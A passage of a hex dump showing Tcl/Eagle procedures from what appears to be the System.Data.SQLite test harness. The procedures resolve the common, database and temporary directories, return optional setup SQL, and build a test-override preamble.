63 [getBinaryDirec 7c30: 74 6f 72 79 5d 20 24 70 6c 61 74 66 6f 72 6d 20 tory]$platform 7c40: 53 51 4c 69 74 65 2e 49 6e 74 65 72 6f 70 2e 64 SQLite.Interop.d 7c50: 6c 6c 5d 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 ll]].. }.. 7c60: 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f }..... pro 7c70: 63 20 67 65 74 43 6f 6d 6d 6f 6e 44 69 72 65 63 c getCommonDirec 7c80: 74 6f 72 79 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 tory {} {.. 7c90: 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE 7ca0: 3a 20 54 68 69 73 20 70 72 6f 63 65 64 75 72 65 : This procedure 7cb0: 20 72 65 74 75 72 6e 73 20 74 68 65 20 64 69 72 returns the dir 7cc0: 65 63 74 6f 72 79 20 77 68 65 72 65 20 74 68 65 ectory where the 7cd0: 20 74 65 73 74 20 73 63 72 69 70 74 73 0d 0a 20 test scripts.. 7ce0: 20 20 20 20 20 23 20 20 20 20 20 20 20 73 68 6f # sho 7cf0: 75 6c 64 20 62 65 20 6c 6f 63 61 74 65 64 2e 20 uld be located. 7d00: 20 42 79 20 64 65 66 61 75 6c 74 2c 20 74 68 69 By default, thi 7d10: 73 20 6a 75 73 74 20 72 65 74 75 72 6e 73 20 74 s just returns t 7d20: 68 65 20 45 61 67 6c 65 0d 0a 20 20 20 20 20 20 he Eagle.. 7d30: 23 20 20 20 20 20 20 20 62 69 6e 61 72 79 20 64 # binary d 7d40: 69 72 65 63 74 6f 72 79 2e 0d 0a 20 20 20 20 20 irectory... 7d50: 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 69 #.. if {[i 7d60: 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 63 6f 6d nfo exists ::com 7d70: 6d 6f 6e 5f 64 69 72 65 63 74 6f 72 79 5d 20 26 mon_directory] & 7d80: 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b & \.. [ 7d90: 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a string length $: 7da0: 3a 63 6f 6d 6d 6f 6e 5f 64 69 72 65 63 74 6f 72 :common_director 7db0: 79 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a y] > 0} then {.. 7dc0: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 7dd0: 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 6c # NOTE: The l 7de0: 6f 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 63 ocation of the c 7df0: 6f 6d 6d 6f 6e 20 64 69 72 65 63 74 6f 72 79 20 ommon directory 7e00: 68 61 73 20 62 65 65 6e 20 73 65 74 3b 0d 0a 20 has been set;.. 7e10: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 74 # t 7e20: 68 65 72 65 66 6f 72 65 2c 20 75 73 65 20 69 74 herefore, use it 7e30: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 7e40: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return$:: 7e50: 63 6f 6d 6d 6f 6e 5f 64 69 72 65 63 74 6f 72 79 common_directory 7e60: 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 69 66 .. } elseif 7e70: 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {[info exists : 7e80: 3a 76 65 6e 64 6f 72 5f 64 69 72 65 63 74 6f 72 :vendor_director 7e90: 79 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 y] && \.. 7ea0: 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 [string lengt 7eb0: 68 20 24 3a 3a 76 65 6e 64 6f 72 5f 64 69 72 65 h $::vendor_dire 7ec0: 63 74 6f 72 79 5d 20 3e 20 30 7d 20 74 68 65 6e ctory] > 0} then 7ed0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 7ee0: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 # NOTE: T 7ef0: 68 65 20 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 74 he location of t 7f00: 68 65 20 76 65 6e 64 6f 72 20 64 69 72 65 63 74 he vendor direct 7f10: 6f 72 79 20 68 61 73 20 62 65 65 6e 20 73 65 74 ory has been set 7f20: 3b 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 ;.. # 7f30: 20 20 20 74 68 65 72 65 66 6f 72 65 2c 20 75 73 therefore, us 7f40: 65 20 69 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 e it... # 7f50: 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e .. return 7f60: 20 24 3a 3a 76 65 6e 64 6f 72 5f 64 69 72 65 63$::vendor_direc 7f70: 74 6f 72 79 0d 0a 20 20 20 20 20 20 7d 20 65 6c tory.. } el 7f80: 73 65 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 seif {[info exis 7f90: 74 73 20 3a 3a 74 63 6c 5f 6c 69 62 72 61 72 79 ts ::tcl_library 7fa0: 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 ] && \.. 7fb0: 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 [string length 7fc0: 20 24 3a 3a 74 63 6c 5f 6c 69 62 72 61 72 79 5d $::tcl_library] 7fd0: 20 3e 20 30 20 26 26 20 5c 0d 0a 20 20 20 20 20 > 0 && \.. 7fe0: 20 20 20 20 20 5b 66 69 6c 65 20 69 73 64 69 72 [file isdir 7ff0: 65 63 74 6f 72 79 20 24 3a 3a 74 63 6c 5f 6c 69 ectory$::tcl_li 8000: 62 72 61 72 79 5d 7d 20 74 68 65 6e 20 7b 0d 0a brary]} then {.. 8010: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 8020: 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 76 # NOTE: The v 8030: 61 72 69 61 62 6c 65 20 77 69 74 68 20 74 68 65 ariable with the 8040: 20 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 location of the 8050: 20 73 63 72 69 70 74 20 6c 69 62 72 61 72 79 20 script library 8060: 69 73 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 is.. # 8070: 20 20 20 20 73 65 74 20 61 6e 64 20 61 70 70 65 set and appe 8080: 61 72 73 20 74 6f 20 62 65 20 61 20 72 65 61 6c ars to be a real 8090: 20 64 69 72 65 63 74 6f 72 79 20 28 69 2e 65 2e directory (i.e. 80a0: 20 6e 6f 74 20 65 6d 62 65 64 64 65 64 0d 0a 20 not embedded.. 80b0: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 77 # w 80c0: 69 74 68 69 6e 20 61 20 66 69 6c 65 29 3b 20 74 ithin a file); t 80d0: 68 65 72 65 66 6f 72 65 2c 20 75 73 65 20 69 74 herefore, use it 80e0: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 80f0: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return $:: 8100: 74 63 6c 5f 6c 69 62 72 61 72 79 0d 0a 20 20 20 tcl_library.. 8110: 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 8120: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 8130: 23 20 4e 4f 54 45 3a 20 46 61 6c 6c 62 61 63 6b # NOTE: Fallback 8140: 20 74 6f 20 74 68 65 20 64 69 72 65 63 74 6f 72 to the director 8150: 79 20 63 6f 6e 74 61 69 6e 69 6e 67 20 74 68 65 y containing the 8160: 20 65 78 65 63 75 74 61 62 6c 65 2e 0d 0a 20 20 executable... 8170: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 8180: 20 72 65 74 75 72 6e 20 5b 69 6e 66 6f 20 62 69 return [info bi 8190: 6e 61 72 79 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a nary].. }.. 81a0: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 81b0: 6f 63 20 67 65 74 44 61 74 61 62 61 73 65 44 69 oc getDatabaseDi 81c0: 72 65 63 74 6f 72 79 20 7b 7d 20 7b 0d 0a 20 20 rectory {} {.. 81d0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N 81e0: 4f 54 45 3a 20 54 68 69 73 20 70 72 6f 63 65 64 OTE: This proced 81f0: 75 72 65 20 72 65 74 75 72 6e 73 20 74 68 65 20 ure returns the 8200: 64 69 72 65 63 74 6f 72 79 20 77 68 65 72 65 20 directory where 8210: 74 68 65 20 74 65 73 74 20 64 61 74 61 62 61 73 the test databas 8220: 65 73 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 es.. # 8230: 20 20 73 68 6f 75 6c 64 20 62 65 20 6c 6f 63 61 should be loca 8240: 74 65 64 2e 20 20 42 79 20 64 65 66 61 75 6c 74 ted. By default 8250: 2c 20 74 68 69 73 20 6a 75 73 74 20 75 73 65 73 , this just uses 8260: 20 74 68 65 20 74 65 6d 70 6f 72 61 72 79 0d 0a the temporary.. 8270: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 64 69 # di 8280: 72 65 63 74 6f 72 79 20 63 6f 6e 66 69 67 75 72 rectory configur 8290: 65 64 20 66 6f 72 20 74 68 69 73 20 73 79 73 74 ed for this syst 82a0: 65 6d 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 em... #.. 82b0: 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 if {[info ex 82c0: 69 73 74 73 20 3a 3a 64 61 74 61 62 61 73 65 5f ists ::database_ 82d0: 64 69 72 65 63 74 6f 72 79 5d 20 26 26 20 5c 0d directory] && \. 82e0: 0a 20 20 20 20 20 20 20 20 20 20 5b 73 74 72 69 . [stri 82f0: 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a 64 61 74 ng length$::dat 8300: 61 62 61 73 65 5f 64 69 72 65 63 74 6f 72 79 5d abase_directory] 8310: 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 > 0} then {.. 8320: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 8330: 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 6c 6f 63 # NOTE: The loc 8340: 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 64 61 74 ation of the dat 8350: 61 62 61 73 65 20 64 69 72 65 63 74 6f 72 79 20 abase directory 8360: 68 61 73 20 62 65 65 6e 20 6f 76 65 72 72 69 64 has been overrid 8370: 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 23 20 den;.. # 8380: 20 20 20 20 20 20 74 68 65 72 65 66 6f 72 65 2c therefore, 8390: 20 75 73 65 20 69 74 2e 0d 0a 20 20 20 20 20 20 use it... 83a0: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 83b0: 75 72 6e 20 24 3a 3a 64 61 74 61 62 61 73 65 5f urn $::database_ 83c0: 64 69 72 65 63 74 6f 72 79 0d 0a 20 20 20 20 20 directory.. 83d0: 20 7d 20 65 6c 73 65 69 66 20 7b 5b 69 6e 66 6f } elseif {[info 83e0: 20 65 78 69 73 74 73 20 3a 3a 73 63 72 61 74 63 exists ::scratc 83f0: 68 5f 64 69 72 65 63 74 6f 72 79 5d 20 26 26 20 h_directory] && 8400: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 73 74 \.. [st 8410: 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a 73 ring length$::s 8420: 63 72 61 74 63 68 5f 64 69 72 65 63 74 6f 72 79 cratch_directory 8430: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 8440: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 8450: 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 6c 6f # NOTE: The lo 8460: 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 73 63 cation of the sc 8470: 72 61 74 63 68 20 64 69 72 65 63 74 6f 72 79 20 ratch directory 8480: 68 61 73 20 62 65 65 6e 20 6f 76 65 72 72 69 64 has been overrid 8490: 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 23 20 den;.. # 84a0: 20 20 20 20 20 20 74 68 65 72 65 66 6f 72 65 2c therefore, 84b0: 20 75 73 65 20 69 74 2e 0d 0a 20 20 20 20 20 20 use it... 84c0: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 84d0: 75 72 6e 20 24 3a 3a 73 63 72 61 74 63 68 5f 64 urn $::scratch_d 84e0: 69 72 65 63 74 6f 72 79 0d 0a 20 20 20 20 20 20 irectory.. 84f0: 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 } else {.. 8500: 20 20 72 65 74 75 72 6e 20 5b 67 65 74 54 65 6d return [getTem 8510: 70 6f 72 61 72 79 50 61 74 68 5d 0d 0a 20 20 20 poraryPath].. 8520: 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a }.. }..... 8530: 20 20 20 20 70 72 6f 63 20 67 65 74 54 65 6d 70 proc getTemp 8540: 6f 72 61 72 79 44 69 72 65 63 74 6f 72 79 20 7b oraryDirectory { 8550: 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 } {.. #.. 8560: 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 # NOTE: This 8570: 20 70 72 6f 63 65 64 75 72 65 20 72 65 74 75 72 procedure retur 8580: 6e 73 20 74 68 65 20 64 69 72 65 63 74 6f 72 79 ns the directory 8590: 20 77 68 65 72 65 20 74 68 65 20 74 65 6d 70 6f where the tempo 85a0: 72 61 72 79 20 66 69 6c 65 73 0d 0a 20 20 20 20 rary files.. 85b0: 20 20 23 20 20 20 20 20 20 20 73 68 6f 75 6c 64 # should 85c0: 20 62 65 20 6c 6f 63 61 74 65 64 2e 20 20 42 79 be located. By 85d0: 20 64 65 66 61 75 6c 74 2c 20 74 68 69 73 20 6a default, this j 85e0: 75 73 74 20 75 73 65 73 20 74 68 65 20 74 65 6d ust uses the tem 85f0: 70 6f 72 61 72 79 0d 0a 20 20 20 20 20 20 23 20 porary.. # 8600: 20 20 20 20 20 20 64 69 72 65 63 74 6f 72 79 20 directory 8610: 63 6f 6e 66 69 67 75 72 65 64 20 66 6f 72 20 74 configured for t 8620: 68 69 73 20 73 79 73 74 65 6d 2e 0d 0a 20 20 20 his system... 8630: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 8640: 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 74 [info exists ::t 8650: 65 6d 70 6f 72 61 72 79 5f 64 69 72 65 63 74 6f emporary_directo 8660: 72 79 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 ry] && \.. 8670: 20 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 [string leng 8680: 74 68 20 24 3a 3a 74 65 6d 70 6f 72 61 72 79 5f th$::temporary_ 8690: 64 69 72 65 63 74 6f 72 79 5d 20 3e 20 30 7d 20 directory] > 0} 86a0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 86b0: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 86c0: 45 3a 20 54 68 65 20 6c 6f 63 61 74 69 6f 6e 20 E: The location 86d0: 6f 66 20 74 68 65 20 74 65 6d 70 6f 72 61 72 79 of the temporary 86e0: 20 64 69 72 65 63 74 6f 72 79 20 68 61 73 20 62 directory has b 86f0: 65 65 6e 20 6f 76 65 72 72 69 64 64 65 6e 3b 0d een overridden;. 8700: 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 8710: 20 74 68 65 72 65 66 6f 72 65 2c 20 75 73 65 20 therefore, use 8720: 69 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a it... #.. 8730: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 return $8740: 3a 3a 74 65 6d 70 6f 72 61 72 79 5f 64 69 72 65 ::temporary_dire 8750: 63 74 6f 72 79 0d 0a 20 20 20 20 20 20 7d 20 65 ctory.. } e 8760: 6c 73 65 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 lseif {[info exi 8770: 73 74 73 20 3a 3a 73 63 72 61 74 63 68 5f 64 69 sts ::scratch_di 8780: 72 65 63 74 6f 72 79 5d 20 26 26 20 5c 0d 0a 20 rectory] && \.. 8790: 20 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 [string 87a0: 20 6c 65 6e 67 74 68 20 24 3a 3a 73 63 72 61 74 length$::scrat 87b0: 63 68 5f 64 69 72 65 63 74 6f 72 79 5d 20 3e 20 ch_directory] > 87c0: 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 0} then {.. 87d0: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 87e0: 4e 4f 54 45 3a 20 54 68 65 20 6c 6f 63 61 74 69 NOTE: The locati 87f0: 6f 6e 20 6f 66 20 74 68 65 20 73 63 72 61 74 63 on of the scratc 8800: 68 20 64 69 72 65 63 74 6f 72 79 20 68 61 73 20 h directory has 8810: 62 65 65 6e 20 6f 76 65 72 72 69 64 64 65 6e 3b been overridden; 8820: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 8830: 20 20 74 68 65 72 65 66 6f 72 65 2c 20 75 73 65 therefore, use 8840: 20 69 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d it... #. 8850: 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 . return 8860: 24 3a 3a 73 63 72 61 74 63 68 5f 64 69 72 65 63 $::scratch_direc 8870: 74 6f 72 79 0d 0a 20 20 20 20 20 20 7d 20 65 6c tory.. } el 8880: 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 se {.. re 8890: 74 75 72 6e 20 5b 67 65 74 54 65 6d 70 6f 72 61 turn [getTempora 88a0: 72 79 50 61 74 68 5d 0d 0a 20 20 20 20 20 20 7d ryPath].. } 88b0: 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 88c0: 70 72 6f 63 20 67 65 74 45 78 65 63 75 74 65 4f proc getExecuteO 88d0: 6e 53 65 74 75 70 20 7b 7d 20 7b 0d 0a 20 20 20 nSetup {} {.. 88e0: 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 if {[info exi 88f0: 73 74 73 20 3a 3a 65 78 65 63 75 74 65 5f 6f 6e sts ::execute_on 8900: 5f 73 65 74 75 70 5d 20 26 26 20 5c 0d 0a 20 20 _setup] && \.. 8910: 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 [string 8920: 6c 65 6e 67 74 68 20 24 3a 3a 65 78 65 63 75 74 length$::execut 8930: 65 5f 6f 6e 5f 73 65 74 75 70 5d 20 3e 20 30 7d e_on_setup] > 0} 8940: 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 8950: 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f #.. # NO 8960: 54 45 3a 20 52 65 74 75 72 6e 20 74 68 65 20 63 TE: Return the c 8970: 6f 6e 66 69 67 75 72 65 64 20 53 51 4c 20 74 6f onfigured SQL to 8980: 20 65 78 65 63 75 74 65 20 64 75 72 69 6e 67 20 execute during 8990: 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 0d 0a the connection.. 89a0: 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 89b0: 73 65 74 75 70 20 70 72 6f 63 65 64 75 72 65 20 setup procedure 89c0: 28 69 2e 65 2e 20 66 6f 72 20 65 76 65 72 79 20 (i.e. for every 89d0: 74 65 73 74 20 64 61 74 61 62 61 73 65 20 63 6f test database co 89e0: 6e 6e 65 63 74 69 6f 6e 29 2e 0d 0a 20 20 20 20 nnection)... 89f0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 #.. r 8a00: 65 74 75 72 6e 20 24 3a 3a 65 78 65 63 75 74 65 eturn $::execute 8a10: 5f 6f 6e 5f 73 65 74 75 70 0d 0a 20 20 20 20 20 _on_setup.. 8a20: 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 8a30: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 8a40: 4e 4f 54 45 3a 20 42 79 20 64 65 66 61 75 6c 74 NOTE: By default 8a50: 2c 20 74 68 65 72 65 20 69 73 20 6e 6f 20 53 51 , there is no SQ 8a60: 4c 20 74 6f 20 65 78 65 63 75 74 65 20 64 75 72 L to execute dur 8a70: 69 6e 67 20 74 68 65 20 63 6f 6e 6e 65 63 74 69 ing the connecti 8a80: 6f 6e 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 on.. # 8a90: 20 20 20 20 73 65 74 75 70 20 70 72 6f 63 65 64 setup proced 8aa0: 75 72 65 20 28 69 2e 65 2e 20 66 6f 72 20 65 76 ure (i.e. for ev 8ab0: 65 72 79 20 74 65 73 74 20 64 61 74 61 62 61 73 ery test databas 8ac0: 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 29 2e 0d 0a e connection)... 8ad0: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 8ae0: 20 20 20 72 65 74 75 72 6e 20 22 22 0d 0a 20 20 return "".. 8af0: 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d }.. }.... 8b00: 0a 20 20 20 20 70 72 6f 63 20 67 65 74 54 65 73 . proc getTes 8b10: 74 4f 76 65 72 72 69 64 65 73 50 72 65 61 6d 62 tOverridesPreamb 8b20: 6c 65 20 7b 20 7b 65 78 74 72 61 56 61 72 4e 61 le { {extraVarNa 8b30: 6d 65 73 20 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 mes ""} } {.. 8b40: 20 20 20 73 65 74 20 76 61 72 4e 61 6d 65 73 20 set varNames 8b50: 5b 6c 69 73 74 5d 0d 0a 0d 0a 20 20 20 20 20 20 [list].... 8b60: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 8b70: 20 49 66 20 61 76 61 69 6c 61 62 6c 65 2c 20 73 If available, s 8b80: 74 61 72 74 20 77 69 74 68 20 74 68 65 20 6d 61 tart with the ma 8b90: 73 74 65 72 20 6c 69 73 74 20 6f 66 20 74 65 73 ster list of tes 8ba0: 74 20 6f 76 65 72 72 69 64 65 0d 0a 20 20 20 20 t override.. 8bb0: 20 20 23 20 20 20 20 20 20 20 76 61 72 69 61 62 # variab 8bc0: 6c 65 73 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 les... #.. 8bd0: 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 if {[info e 8be0: 78 69 73 74 73 20 3a 3a 74 65 73 74 5f 6f 76 65 xists ::test_ove 8bf0: 72 72 69 64 65 73 5d 20 26 26 20 5c 0d 0a 20 20 rrides] && \.. 8c00: 20 20 20 20 20 20 20 20 5b 6c 6c 65 6e 67 74 68 [llength 8c10: 20 24 3a 3a 74 65 73 74 5f 6f 76 65 72 72 69 64$::test_overrid 8c20: 65 73 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d es] > 0} then {. 8c30: 0a 20 20 20 20 20 20 20 20 65 76 61 6c 20 6c 61 . eval la 8c40: 70 70 65 6e 64 20 76 61 72 4e 61 6d 65 73 20 24 ppend varNames $8c50: 3a 3a 74 65 73 74 5f 6f 76 65 72 72 69 64 65 73 ::test_overrides 8c60: 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 8c70: 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 8c80: 54 45 3a 20 49 66 20 72 65 71 75 65 73 74 65 64 TE: If requested 8c90: 20 62 79 20 6f 75 72 20 63 61 6c 6c 65 72 2c 20 by our caller, 8ca0: 61 64 64 20 61 6e 79 20 61 64 64 69 74 69 6f 6e add any addition 8cb0: 61 6c 20 76 61 72 69 61 62 6c 65 0d 0a 20 20 20 al variable.. 8cc0: 20 20 20 23 20 20 20 20 20 20 20 6e 61 6d 65 73 # names 8cd0: 20 74 6f 20 63 6f 70 79 20 6e 6f 77 2e 0d 0a 20 to copy now... 8ce0: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 8cf0: 20 7b 5b 6c 6c 65 6e 67 74 68 20 24 65 78 74 72 {[llength$extr 8d00: 61 56 61 72 4e 61 6d 65 73 5d 20 3e 20 30 7d 20 aVarNames] > 0} 8d10: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 8d20: 65 76 61 6c 20 6c 61 70 70 65 6e 64 20 76 61 72 eval lappend var 8d30: 4e 61 6d 65 73 20 24 65 78 74 72 61 56 61 72 4e Names $extraVarN 8d40: 61 6d 65 73 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d ames.. }... 8d50: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 8d60: 23 20 4e 4f 54 45 3a 20 42 75 69 6c 64 20 74 68 # NOTE: Build th 8d70: 65 20 73 63 72 69 70 74 20 66 72 61 67 6d 65 6e e script fragmen 8d80: 74 20 74 6f 20 62 65 20 72 65 74 75 72 6e 65 64 t to be returned 8d90: 20 62 79 20 70 72 6f 63 65 73 73 69 6e 67 20 65 by processing e 8da0: 61 63 68 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ach.. # 8db0: 20 20 20 76 61 72 69 61 62 6c 65 20 6e 61 6d 65 variable name 8dc0: 20 61 6e 64 20 61 64 64 69 6e 67 20 74 68 65 20 and adding the 8dd0: 6e 65 63 65 63 65 73 73 61 72 79 20 73 63 72 69 nececessary scri 8de0: 70 74 20 66 72 61 67 6d 65 6e 74 73 20 66 6f 72 pt fragments for 8df0: 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 8e00: 65 61 63 68 20 6f 6e 65 2e 0d 0a 20 20 20 20 20 each one... 8e10: 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 72 65 #.. set re 8e20: 73 75 6c 74 20 22 22 0d 0a 0d 0a 20 20 20 20 20 sult "".... 8e30: 20 66 6f 72 65 61 63 68 20 76 61 72 4e 61 6d 65 foreach varName 8e40: 20 24 76 61 72 4e 61 6d 65 73 20 7b 0d 0a 20 20$varNames {.. 8e50: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 8e60: 20 23 20 4e 4f 54 45 3a 20 42 75 69 6c 64 20 74 # NOTE: Build t 8e70: 68 65 20 71 75 61 6c 69 66 69 65 64 20 67 6c 6f he qualified glo 8e80: 62 61 6c 20 76 61 72 69 61 62 6c 65 20 6e 61 6d bal variable nam 8e90: 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 e... #.. 8ea0: 20 20 20 20 20 20 20 73 65 74 20 66 75 6c 6c 56 set fullV 8eb0: 61 72 4e 61 6d 65 20 5b 61 70 70 65 6e 64 41 72 arName [appendAr 8ec0: 67 73 20 3a 3a 20 24 76 61 72 4e 61 6d 65 5d 0d gs :: $varName]. 8ed0: 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 8ee0: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 44 6f # NOTE: Do 8ef0: 65 73 20 74 68 65 20 76 61 72 69 61 62 6c 65 20 es the variable 8f00: 65 78 69 73 74 20 69 6e 20 74 68 69 73 20 69 6e exist in this in 8f10: 74 65 72 70 72 65 74 65 72 20 63 6f 6e 74 65 78 terpreter contex 8f20: 74 3f 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 t?.. #.. 8f30: 20 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f if {[info 8f40: 20 65 78 69 73 74 73 20 24 66 75 6c 6c 56 61 72 exists$fullVar 8f50: 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 Name]} then {.. 8f60: 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 #.. 8f70: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 41 70 # NOTE: Ap 8f80: 70 65 6e 64 20 61 20 73 63 72 69 70 74 20 66 72 pend a script fr 8f90: 61 67 6d 65 6e 74 20 74 6f 20 74 68 65 20 72 65 agment to the re 8fa0: 73 75 6c 74 20 74 68 61 74 20 77 69 6c 6c 20 63 sult that will c 8fb0: 6f 72 72 65 63 74 6c 79 0d 0a 20 20 20 20 20 20 orrectly.. 8fc0: 20 20 20 20 23 20 20 20 20 20 20 20 63 6f 70 79 # copy 8fd0: 20 61 6e 79 20 63 6f 6e 74 61 69 6e 65 64 20 76 any contained v 8fe0: 61 6c 75 65 20 74 6f 20 61 6e 6f 74 68 65 72 20 alue to another 8ff0: 69 6e 74 65 72 70 72 65 74 65 72 20 63 6f 6e 74 interpreter cont 9000: 65 78 74 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ext... 9010: 23 0d 0a 20 20 20 20 20 20 20 20 20 20 61 70 70 #.. app 9020: 65 6e 64 20 72 65 73 75 6c 74 20 5c 6e 20 22 73 end result \n "s 9030: 65 74 20 22 20 24 66 75 6c 6c 56 61 72 4e 61 6d et " 